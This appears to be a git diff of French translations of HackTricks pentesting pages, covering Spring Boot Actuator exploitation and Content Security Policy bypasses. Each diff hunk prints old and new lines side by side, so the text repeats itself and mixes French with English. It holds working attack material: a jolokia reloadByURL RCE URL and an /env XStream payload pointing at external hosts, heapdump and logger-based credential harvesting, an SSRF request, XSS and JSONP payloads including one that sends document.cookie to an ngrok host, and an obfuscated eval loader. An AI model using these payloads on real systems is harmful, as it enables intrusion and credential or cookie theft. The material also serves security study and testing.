- Spring Boot Actuators exposent des endpoints tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` ne sont pas sensibles par défaut, mais les développeurs désactivent souvent cette protection.
- Certains endpoints Actuator peuvent divulguer des données sensibles ou permettre des actions dangereuses :
- Spring Boot Actuators register endpoints tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité.
- Certains endpoints Actuator peuvent exposer des données sensibles ou permettre des actions dangereuses :
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, et `/heapdump`.
- Dans Spring Boot 1.x, les actuators sont enregistrés à la racine de l'URL, alors que dans 2.x, ils sont sous le chemin de base `/actuator/`.
- Dans Spring Boot 1.x, les actuators sont enregistrés sous la racine URL, tandis que dans 2.x, ils se trouvent sous le chemin de base `/actuator/`.
### **Techniques d'exploitation :**
1. **Remote Code Execution via '/jolokia'**:
- L'endpoint `/jolokia` expose la bibliothèque Jolokia, qui permet un accès HTTP aux MBeans.
- L'action `reloadByURL` peut être exploitée pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire à un blind XXE ou Remote Code Execution via des configurations XML spécialement conçues.
- L'action `reloadByURL` peut être exploitée pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire à un blind XXE ou à du Remote Code Execution via des configurations XML malicieuses.
- Exemple d'URL d'exploit : `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
2. **Modification de la configuration via '/env'**:
- Si les Spring Cloud Libraries sont présentes, l'endpoint `/env` permet la modification des propriétés d'environnement.
- Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, comme la vulnérabilité de deserialization XStream dans le serviceURL d'Eureka.
- Exemple de requête POST d'exploit :
- Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, comme la vulnérabilité de désérialisation XStream dans Eureka serviceURL.
- Exemple de requête POST d'exploitation :
```
POST /env HTTP/1.1
@ -40,30 +40,30 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Other Useful Settings**:
- Des propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, et `spring.datasource.tomcat.max-active` peuvent être manipulées pour divers exploits, tels que SQL injection ou la modification des chaînes de connexion à la base de données.
3. **Autres paramètres utiles**:
- Des propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, et `spring.datasource.tomcat.max-active` peuvent être manipulées pour divers exploits, tels que des injections SQL ou la modification des chaînes de connexion à la base de données.
### **Informations supplémentaires :**
- Une liste complète des actuators par défaut est disponible [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Une liste complète des actuators par défaut peut être trouvée [ici](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- L'endpoint `/env` dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même.
### **Sujets connexes :**
### **Sujets liés :**
1. **Env + H2 RCE**:
- Détails sur l'exploitation de la combinaison de l'endpoint `/env` et de la base H2 sont disponibles [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
- Détails sur l'exploitation de la combinaison de l'endpoint `/env` et de la base de données H2 disponibles [ici](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- La gestion par le framework Spring des paramètres matrix (`;`) dans les pathnames HTTP peut être exploitée pour du Server-Side Request Forgery (SSRF).
- Exemple de requête d'exploitation :
- Le traitement par le framework Spring des matrix parameters (`;`) dans les pathnames HTTP peut être exploité pour Server-Side Request Forgery (SSRF).
- Exemple de requête d'exploitation:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)
## Extraction de secrets depuis HeapDump (credentials, tokens, internal URLs)
Si `/actuator/heapdump` est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets en direct (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
Si `/actuator/heapdump` est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets vivants (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
- Téléchargement et triage rapide :
```bash
@ -74,8 +74,8 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Analyse plus approfondie avec VisualVM et OQL :
- Ouvrez le heapdump dans VisualVM, inspectez les instances de `java.lang.String` ou exécutez OQL pour rechercher des secrets :
- Analyse approfondie avec VisualVM et OQL :
- Ouvrez le heapdump dans VisualVM, inspectez les instances de `java.lang.String` ou lancez des OQL pour chasser les secrets :
```
select s.toString()
from java.lang.String s
@ -86,19 +86,19 @@ where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|Or
```bash
java -jar JDumpSpider-*.jar heapdump
```
Résultats typiques à forte valeur :
- Objets Spring `DataSourceProperties` / `HikariDataSource` exposant `url`, `username`, `password`.
- Entrées `OriginTrackedMapPropertySource` révélant `management.endpoints.web.exposure.include`, les ports de service, et Basic-Auth intégré dans les URLs (par ex., Eureka `defaultZone`).
- Fragments de requêtes/réponses HTTP bruts incluant `Authorization: Basic ...` capturés en mémoire.
Découvertes typiques à haute valeur :
- Spring `DataSourceProperties` / `HikariDataSource` objects exposant `url`, `username`, `password`.
- Entrées `OriginTrackedMapPropertySource` révélant `management.endpoints.web.exposure.include`, ports de service et Basic-Auth intégré dans des URLs (par ex. Eureka `defaultZone`).
- Fragments de requêtes/réponses HTTP en clair incluant `Authorization: Basic ...` capturés en mémoire.
Conseils :
- Utilisez une wordlist axée Spring pour découvrir rapidement les endpoints d'actuator (par ex., SecLists spring-boot.txt) et vérifiez toujours si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, et `/actuator/configprops` sont également exposés.
- Les credentials issus du heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs système (SSH), donc essayez-les largement.
- Utilisez un wordlist orienté Spring pour découvrir rapidement les endpoints actuator (par ex. SecLists spring-boot.txt) et vérifiez toujours si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, et `/actuator/configprops` sont aussi exposés.
- Les credentials extraits d'un heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs système (SSH), testez-les largement.
## Abuser des loggers/logging d'Actuator pour capturer des credentials
Si `management.endpoints.web.exposure.include` le permet et que `/actuator/loggers` est exposé, vous pouvez augmenter dynamiquement les niveaux de logs à DEBUG/TRACE pour les packages qui gèrent l'authentification et le traitement des requêtes. Combiné avec des logs lisibles (via `/actuator/logfile` ou des chemins de logs connus), cela peut leak credentials soumis lors des flux de connexion (par ex., en-têtes Basic-Auth ou paramètres de formulaire).
Si `management.endpoints.web.exposure.include` le permet et que `/actuator/loggers` est exposé, vous pouvez augmenter dynamiquement les niveaux de log à DEBUG/TRACE pour des packages qui gèrent l'authentification et le traitement des requêtes. Combiné avec des logs lisibles (via `/actuator/logfile` ou des chemins de logs connus), cela peut leak des credentials soumis pendant les flux de connexion (par ex. en-têtes Basic-Auth ou paramètres de formulaire).
- Énumérez et augmentez les loggers sensibles :
```bash
@ -123,11 +123,11 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Déclenchez du trafic de login/authentification et analysez le log pour les creds. Dans des architectures microservices avec une gateway en front d'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les corps de formulaires. Certains environnements génèrent même périodiquement du trafic de login synthétique, rendant la récolte triviale une fois que le logging est verbeux.
- Déclenchez du trafic de login/authentification et parsez le log pour les creds. Dans des architectures microservices avec une gateway en frontal de l'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les bodies de formulaire. Certains environnements génèrent même du trafic de login synthétique périodiquement, rendant la collecte triviale une fois le logging verbeux.
Remarques :
Notes :
- Réinitialisez les niveaux de log une fois terminé : `POST /actuator/loggers/<logger>` avec `{ "configuredLevel": null }`.
- Si `/actuator/httpexchanges` est exposé, il peut aussi faire apparaître des metadata récentes de requêtes qui peuvent inclure des headers sensibles.
- Si `/actuator/httpexchanges` est exposé, il peut aussi faire apparaître des métadonnées de requêtes récentes qui peuvent inclure des headers sensibles.
## References

328
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Qu'est-ce que CSP
## Qu'est-ce que le CSP
Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que cross-site scripting (XSS)**. Elle fonctionne en définissant et détaillant les chemins et sources depuis lesquels le navigateur peut charger des ressources en toute sécurité. Ces ressources englobent une variété d'éléments tels que les images, les frames et le JavaScript. Par exemple, une politique peut permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris des ressources inline et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout`, ou `setInterval`.
Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en précisant les chemins et les sources depuis lesquels le navigateur peut charger des ressources en toute sécurité. Ces ressources couvrent divers éléments tels que des images, des frames et du JavaScript. Par exemple, une politique peut autoriser le chargement et l'exécution de ressources depuis le même domaine (self), y compris des ressources inline et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`.
La mise en œuvre de CSP se fait via **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. Conformément à cette politique, les navigateurs appliquent de manière proactive ces stipulations et bloquent immédiatement toute violation détectée.
La mise en œuvre de CSP se fait via les **entêtes de réponse** ou en incorporant des **balises meta dans la page HTML**. Conformément à cette politique, les navigateurs appliquent ces règles de manière proactive et bloquent immédiatement toute violation détectée.
- Implémenté via un en-tête de réponse:
- Implémenté via l'en-tête de réponse:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### En-têtes
### Headers
CSP peut être appliqué ou surveillé via ces en-têtes :
Le CSP peut être appliqué ou surveillé en utilisant ces en-têtes :
- `Content-Security-Policy`: Applique la CSP ; le navigateur bloque toute violation.
- `Content-Security-Policy-Report-Only`: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests en environnement de pré-production.
- `Content-Security-Policy-Report-Only`: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests en environnements de pré-production.
### Définition des ressources
CSP restreint les origines pour le chargement du contenu actif et passif, contrôlant des aspects tels que l'exécution de JavaScript inline et l'utilisation de `eval()`. Un exemple de politique est :
CSP restreint les origines pour le chargement du contenu actif et passif, contrôlant des aspects comme l'exécution de JavaScript inline et l'utilisation de `eval()`. Un exemple de politique est :
```bash
default-src 'none';
img-src 'self';
@ -39,36 +39,36 @@ object-src 'none';
```
### Directives
- **script-src**: Autorise des sources spécifiques pour JavaScript, y compris les URLs, les scripts inline et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
- **default-src**: Définit une politique par défaut pour la récupération de ressources lorsque des directives de récupération spécifiques sont absentes.
- **script-src**: Autorise des sources spécifiques pour JavaScript, y compris les URL, les scripts inline et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
- **default-src**: Définit une politique par défaut pour la récupération des ressources lorsque des directives de récupération spécifiques sont absentes.
- **child-src**: Spécifie les ressources autorisées pour les web workers et le contenu des frames intégrées.
- **connect-src**: Restreint les URLs qui peuvent être chargées via des interfaces comme fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restreint les URLs pour les frames.
- **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page courante, applicable aux éléments comme `<frame>`, `<iframe>`, `<object>`, `<embed>`, et `<applet>`.
- **connect-src**: Restreint les URL pouvant être chargées via des interfaces comme fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restreint les URL pour les frames.
- **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page actuelle, applicable aux éléments comme `<frame>`, `<iframe>`, `<object>`, `<embed>`, et `<applet>`.
- **img-src**: Définit les sources autorisées pour les images.
- **font-src**: Spécifie les sources valides pour les polices chargées via `@font-face`.
- **manifest-src**: Définit les sources autorisées des fichiers manifest d'application.
- **media-src**: Définit les sources autorisées pour le chargement d'objets média.
- **manifest-src**: Définit les sources autorisées des fichiers manifeste d'application.
- **media-src**: Définit les sources autorisées pour le chargement d'éléments média.
- **object-src**: Définit les sources autorisées pour les éléments `<object>`, `<embed>`, et `<applet>`.
- **base-uri**: Spécifie les URLs autorisées pour le chargement via les éléments `<base>`.
- **form-action**: Liste les endpoints valides pour les soumissions de formulaires.
- **plugin-types**: Restreint les types MIME qu'une page peut invoquer.
- **upgrade-insecure-requests**: Indique aux navigateurs de réécrire les URLs HTTP en HTTPS.
- **base-uri**: Spécifie les URL autorisées pour le chargement via l'élément `<base>`.
- **form-action**: Liste les points de terminaison valides pour la soumission de formulaires.
- **plugin-types**: Restreint les types MIME que la page peut invoquer.
- **upgrade-insecure-requests**: Indique aux navigateurs de réécrire les URL HTTP en HTTPS.
- **sandbox**: Applique des restrictions similaires à l'attribut sandbox d'un `<iframe>`.
- **report-to**: Spécifie un groupe vers lequel un rapport sera envoyé si la politique est violée.
- **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
- **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou préchargées.
- **navigate-to**: Restreint les URLs vers lesquelles un document peut naviguer par tout moyen (a, form, window.location, window.open, etc.)
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, form, window.location, window.open, etc.)
### Sources
- `*`: Autorise toutes les URLs sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
- `*`: Autorise toutes les URL sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
- `'self'`: Autorise le chargement depuis le même domaine.
- `'data'`: Autorise le chargement de ressources via le schéma data (par ex., images encodées en Base64).
- `'none'`: Bloque le chargement depuis n'importe quelle source.
- `'unsafe-eval'`: Autorise l'utilisation de `eval()` et de méthodes similaires, déconseillé pour des raisons de sécurité.
- `'unsafe-hashes'`: Autorise certains gestionnaires d'événements inline spécifiques.
- `'unsafe-inline'`: Autorise l'utilisation de ressources inline comme les `<script>` ou `<style>` inline, déconseillé pour des raisons de sécurité.
- `'none'`: Bloque le chargement depuis toute source.
- `'unsafe-eval'`: Autorise l'utilisation de `eval()` et méthodes similaires, déconseillé pour des raisons de sécurité.
- `'unsafe-hashes'`: Active des gestionnaires d'événements inline spécifiques.
- `'unsafe-inline'`: Autorise l'utilisation de ressources inline comme `<script>` ou `<style>`, déconseillé pour des raisons de sécurité.
- `'nonce'`: Une liste blanche pour des scripts inline spécifiques utilisant un nonce cryptographique (nombre utilisé une fois).
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Autorise les scripts ayant un hash sha256 spécifique.
- `'strict-dynamic'`: Permet le chargement de scripts depuis n'importe quelle source si ceux-ci ont été autorisés via un nonce ou un hash.
- `'host'`: Spécifie un hôte particulier, comme `example.com`.
- `'sha256-<hash>'`: Met sur liste blanche les scripts avec un hash sha256 spécifique.
- `'strict-dynamic'`: Permet le chargement de scripts depuis n'importe quelle source si celle-ci a été mise sur liste blanche via un nonce ou un hash.
- `'host'`: Spécifie un hôte précis, par exemple `example.com`.
- `https:`: Restreint les URLs à celles utilisant HTTPS.
- `blob:`: Autorise le chargement de ressources depuis des Blob URLs (par exemple, des Blob URLs créées via JavaScript).
- `filesystem:`: Autorise le chargement de ressources depuis le système de fichiers.
- `'report-sample'`: Inclut un échantillon du code en violation dans le rapport de violation (utile pour le débogage).
- `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond à celui du document (seules les origines sécurisées peuvent charger des ressources depuis des origines sécurisées).
- `'strict-origin-when-cross-origin'`: Envoie des full URLs pour les requêtes same-origin mais n'envoie que l'origine lorsqu'une requête est cross-origin.
- `'unsafe-allow-redirects'`: Autorise le chargement de ressources qui redirigent immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
- `blob:`: Permet le chargement de ressources depuis des Blob URLs (par ex., des Blob URLs créées via JavaScript).
- `filesystem:`: Permet le chargement de ressources depuis le système de fichiers.
- `'report-sample'`: Inclut un extrait du code en infraction dans le rapport de violation (utile pour le débogage).
- `'strict-origin'`: Similaire à 'self' mais s'assure que le niveau de sécurité du protocole des sources correspond à celui du document (seules les origines sécurisées peuvent charger des ressources depuis des origines sécurisées).
- `'strict-origin-when-cross-origin'`: Envoie des URLs complètes pour les requêtes same-origin mais n'envoie que l'origine lorsque la requête est cross-origin.
- `'unsafe-allow-redirects'`: Permet le chargement de ressources qui redirigeront immédiatement vers une autre ressource. À déconseiller car cela affaiblit la sécurité.
## Règles CSP dangereuses
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Payload fonctionnel : `"/><script>alert(1);</script>`
Payload fonctionnel: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' via Iframes
@ -117,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Ceci ne fonctionne pas, pour plus d'informations [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Cela ne fonctionne pas. Pour plus d'informations, [**consultez ceci**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
@ -127,24 +127,24 @@ Payload fonctionnel :
```
### strict-dynamic
Si vous pouvez d'une manière ou d'une autre faire qu'un **allowed JS code created a new script tag** soit inséré dans le DOM avec votre code JS, parce qu'un script autorisé le crée, le **new script tag will be allowed to be executed**.
Si vous parvenez, d'une manière ou d'une autre, à faire en sorte qu'un **code JS autorisé crée une nouvelle balise <script>** dans le DOM avec votre code JS, parce qu'un script autorisé la crée, la **nouvelle balise <script> sera autorisée à s'exécuter**.
### Wildcard (\*)
### Caractère générique (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Payload fonctionnel :
Fonctionnel payload:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Absence de object-src et default-src
### Absence d'object-src et de default-src
> [!CAUTION] > **Il semble que cela ne fonctionne plus**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Payloads fonctionnels:
Payloads fonctionnels :
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -154,21 +154,21 @@ Payloads fonctionnels:
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Si vous pouvez upload un fichier JS, vous pouvez bypass cette CSP :
Si vous pouvez upload un fichier JS, vous pouvez bypass ce CSP :
Working payload:
Payload fonctionnel :
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Cependant, il est fort probable que le serveur **valide le fichier uploadé** et n'autorisera que l'**upload de types de fichiers déterminés**.
Cependant, il est très probable que le serveur **valide le fichier uploadé** et n'autorisera que l'**upload de certains types de fichiers**.
De plus, même si vous pouviez uploader un **JS code inside** dans un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme Apache **select MIME type of the file based on the extension** et des navigateurs comme Chrome **refuseront d'exécuter Javascript** contenu dans quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **MIME type like audio/***.
De plus, même si vous pouviez mettre du **JS code inside** dans un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_) cela ne suffirait pas, car certains serveurs comme apache server **choisissent le type MIME du fichier en fonction de l'extension** et des navigateurs comme Chrome **refuseront d'exécuter du Javascript** dans quelque chose qui devrait être une image. "Hopefully", il y a des erreurs. Par exemple, dans un CTF j'ai appris que **Apache doesn't know** l'extension _**.wave**_, donc il ne la sert pas avec un **MIME type like audio/***.
À partir de là, si vous trouvez un XSS et un file upload, et que vous parvenez à trouver une **misinterpreted extension**, vous pouvez essayer d'uploader un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier uploadé, créez un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Si l'injection de JS n'est pas possible, vous pouvez quand même essayer d'exfiltrer par exemple des identifiants en **injecting a form action** (et peut‑être en comptant sur les gestionnaires de mots de passe pour auto‑remplir les mots de passe). Vous pouvez trouver un [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Aussi, notez que `default-src` ne couvre pas les form actions.
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
### Third Party Endpoints + ('unsafe-eval')
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet `window` ([voir ce post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> L'article montre que vous pouvez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou n'importe quel autre dépôt de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**.
> L'article montre que vous pouvez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt autorisé de bibliothèques JS), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -225,7 +225,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS à partir d'un class name :
Angular XSS depuis un nom de classe:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -233,7 +233,7 @@ Angular XSS à partir d'un class name :
```
#### Abuser du code JS de google recaptcha
Selon [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dans une CSP pour exécuter du code JS arbitraire en contournant la CSP :
Selon [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dans une CSP pour exécuter du code JS arbitraire en contournant la CSP:
```html
<div
ng-controller="CarouselController as c"
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Abuser www.google.com pour open redirect
#### Abuser www.google.com pour un open redirect
L'URL suivante redirige vers example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
L'URL suivante redirige vers example.com (d'après [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Exploitation de \*.google.com/script.google.com
Abuser de \*.google.com/script.google.com
Il est possible d'abuser de Google Apps Script pour recevoir des informations dans une page hébergée sur script.google.com. Comme cela a été [fait dans ce rapport](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Il est possible d'abuser de Google Apps Script pour recevoir des informations dans une page hébergée sur script.google.com. Comme cela a été [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Endpoints tiers + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Des scénarios comme celui-ci où `script-src` est réglé sur `self` et un domaine particulier qui est en liste blanche peuvent être contournés en utilisant JSONP. Les endpoints JSONP permettent des méthodes de callback non sécurisées qui permettent à un attaquant d'effectuer du XSS, working payload:
Des scénarios comme celui-ci, où `script-src` est défini sur `self` et où un domaine particulier est mis en liste blanche, peuvent être contournés en utilisant JSONP. Les endpoints JSONP autorisent des callbacks non sécurisés permettant à un attaquant d'exécuter du XSS. payload fonctionnel :
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,26 +289,26 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des endpoints JSONP prêts à l'emploi permettant un CSP bypass sur différents sites web.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des endpoints JSONP prêts à l'emploi pour un CSP bypass de différents sites web.**
La même vulnérabilité se produira si le **trusted endpoint contient un Open Redirect**, car si l'endpoint initial est trusted, les redirects sont eux aussi considérés comme trusted.
La même vulnérabilité se produira si l'endpoint de confiance contient un Open Redirect, parce que si l'endpoint initial est de confiance, les redirections le sont aussi.
### Abus par des tiers
### Abus de tiers
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers qui peuvent être autorisés quelque part dans la CSP et qui peuvent être abusés pour exfiltrate data ou execute JavaScript code. Certains de ces tiers sont :
Comme décrit dans le [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers qui peuvent être autorisés quelque part dans la CSP et qui peuvent être abusés soit pour exfiltrate data soit pour execute JavaScript code. Quelques-uns de ces tiers sont :
| Entité | Domaines autorisés | Capacités |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Entité | Domaine autorisé | Capacités |
| ----------------- | --------------------------------------------- | ------------ |
